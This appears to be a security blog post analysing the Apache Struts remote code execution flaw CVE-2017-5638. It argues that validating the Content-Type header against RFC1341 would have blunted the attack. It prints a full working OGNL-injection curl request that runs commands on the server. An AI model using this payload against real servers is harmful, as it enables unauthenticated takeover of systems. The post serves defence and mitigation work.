Apache Struts vulnerability (CVE-2017-5638) and the importance of RFC standards compliance

The recent Apache Struts vulnerability (CVE-2017-5638) has highlighted how quickly a vulnerability disclosure can morph into an exploitation frenzy.

From the initial disclosure announcement on March 6th, signs of testing and exploitation attempts in the wild materialised in less than 24 hours as the gravity of the situation sunk in.

The issue, being a specially crafted “Content-Type:” MIME header, was found to permit remote code execution (RCE) through calling Java to create a new java.lang.ProcessBuilder() object, executing the required arbitrary command on the web server without authentication. Further details about the exploit in action can be found here.

The challenge for many organisations facing this issue, is to be able to react in a timely fashion, to mitigate the risks of their own systems being exploited at the cost of loss of service, loss of confidentiality, and loss of own or customer data.

Under a backdrop of service management procedures and development safeguards, for many companies, simply upgrading the affected component may take days or weeks to implement, and meanwhile, attackers are all over your services like a rash.

The exploit used a specially crafted “Content-Type:” header, such as detailed here and the same as or simplar to the following example:

curl -i -v -s -k  -X 'GET' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0' -H 'Content-Type:%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'echo "add malicious commands here"\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' \   'http://vulnerable.web.site.com/struts2-blank/example/HelloWorld.action'

Now while many people are focusing on the "#cmd=" string to identify this being exploited, this is just a variable within the exploit, the real dodgyness happens when “new java.lang.ProcessBuilder(#cmds)” happens. So the problem is being able to call the java method to arbitrarily execute a command.

But is that it? maybe not. You might think ah! i’ve cracked the problem – prevent java from being used, but the problem is actually far more simpler than that.

Now what does this exploit have to do with standards compliance?

Back in June 1992, two people, Nathaniel Borenstein and Ned Freed devised RFC1341 – entitled “MIME (Multipurpose Internet Mail Extensions): Mechanisms for Specifying and Describing the Format of Internet Message Bodies”.

Within this document, in section 4, it describes in Backus-Nour-Form the structure of a “Content-Type:” declaration (as also detailed by W3C here).

That extract is as follows:

Content-Type := type "/" subtype *[";" parameter]

type := "application" / "audio" / "image" / "message" / "multipart" / "text" / "video" / x-token

x-token :=

subtype := token

parameter := attribute "=" value

attribute := token

value := token / quoted-string

token := 1*

tspecials := "(" / ")" / "<" / ">" / "@" / "," / ";" / ":" / "\" / <"> / "/" / "[" / "]" / "?" / "." / "="

The above tspecials must be in quoted-string, to use within parameter values.
Note that the definition of "tspecials" is the same as the RFC 822 definition of "specials" with the addition of the three characters "/", "?", and "=".

You might be thinking…”so what?”…well, the interesting thing is that the exploit was permitted due to lack of validation.

The exploit opened up its “Content-Type” value with the characters “%{“. Note that neither of these characters are permitted within the BNF specification for what a tspecial within a “Content-Type:” declaration should look like in RFC1341.

As such – it is evident that the impact of the exploit was accelerated due to lack of input validation, partly because the exploit was materialised using characters outside of the permitted structure.

While this validation itself would not have resolved the vulnerability in Apache Struts from existing, such validation would have significantly mitigated the impact of its exploitability.

Standards such as the RFC’s provide some great insight into what should be performed in terms of input validation. I am sure there are many other vulnerabilities and examples of where well defined constructs can be abused by using inputs not specified within the documented construct. It is for this reason that input validation is so important.

For those developing web application firewall rules, simply detecting a curly brace within the “Content-Type:” declaration would be sufficient to have mitigated this exploit and probably many more, I am sure this kind of logic could be applied to a whole host of declarations to improve security.

Seeing this exploit proven in testing brought only a sense of awe of how easy it was using this exploit to effectively walk through an open door. I am sure this exploit will have many reprocussions in weeks to come. The show is not over by far.